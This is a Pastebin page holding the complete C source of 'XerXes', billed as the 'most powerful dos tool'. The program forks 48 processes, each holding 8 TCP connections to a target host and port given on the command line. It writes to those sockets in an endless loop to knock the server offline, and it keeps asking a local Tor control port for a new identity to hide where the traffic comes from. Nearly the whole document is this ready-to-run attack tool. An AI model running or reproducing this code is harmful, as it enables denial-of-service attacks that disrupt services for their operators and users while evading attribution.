Advertisement
Guest User

XerXes - Most powerful dos tool

a guest
Jul 9th, 2011
49,535
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. /* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <stdint.h>
  7. #include <unistd.h>
  8. #include <netdb.h>
  9. #include <signal.h>
  10. #include <sys/socket.h>
  11. #include <sys/types.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14.  
  15. int make_socket(char *host, char *port) {
  16. struct addrinfo hints, *servinfo, *p;
  17. int sock, r;
  18. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  19. memset(&hints, 0, sizeof(hints));
  20. hints.ai_family = AF_UNSPEC;
  21. hints.ai_socktype = SOCK_STREAM;
  22. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  23. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  24. exit(0);
  25. }
  26. for(p = servinfo; p != NULL; p = p->ai_next) {
  27. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  28. continue;
  29. }
  30. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  31. close(sock);
  32. continue;
  33. }
  34. break;
  35. }
  36. if(p == NULL) {
  37. if(servinfo)
  38. freeaddrinfo(servinfo);
  39. fprintf(stderr, "No connection could be made\n");
  40. exit(0);
  41. }
  42. if(servinfo)
  43. freeaddrinfo(servinfo);
  44. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  45. return sock;
  46. }
  47.  
  48. void broke(int s) {
  49. // do nothing
  50. }
  51.  
  52. #define CONNECTIONS 8
  53. #define THREADS 48
  54.  
  55. void attack(char *host, char *port, int id) {
  56. int sockets[CONNECTIONS];
  57. int x, g=1, r;
  58. for(x=0; x!= CONNECTIONS; x++)
  59. sockets[x]=0;
  60. signal(SIGPIPE, &broke);
  61. while(1) {
  62. for(x=0; x != CONNECTIONS; x++) {
  63. if(sockets[x] == 0)
  64. sockets[x] = make_socket(host, port);
  65. r=write(sockets[x], "\0", 1);
  66. if(r == -1) {
  67. close(sockets[x]);
  68. sockets[x] = make_socket(host, port);
  69. } else
  70. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  71. fprintf(stderr, "[%i: Voly Sent]\n", id);
  72. }
  73. fprintf(stderr, "[%i: Voly Sent]\n", id);
  74. usleep(300000);
  75. }
  76. }
  77.  
  78. void cycle_identity() {
  79. int r;
  80. int socket = make_socket("localhost", "9050");
  81. write(socket, "AUTHENTICATE \"\"\n", 16);
  82. while(1) {
  83. r=write(socket, "signal NEWNYM\n\x00", 16);
  84. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  85. usleep(300000);
  86. }
  87. }
  88.  
  89. int main(int argc, char **argv) {
  90. int x;
  91. if(argc !=3)
  92. cycle_identity();
  93. for(x=0; x != THREADS; x++) {
  94. if(fork())
  95. attack(argv[1], argv[2], x);
  96. usleep(200000);
  97. }
  98. getc(stdin);
  99. return 0;
  100. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement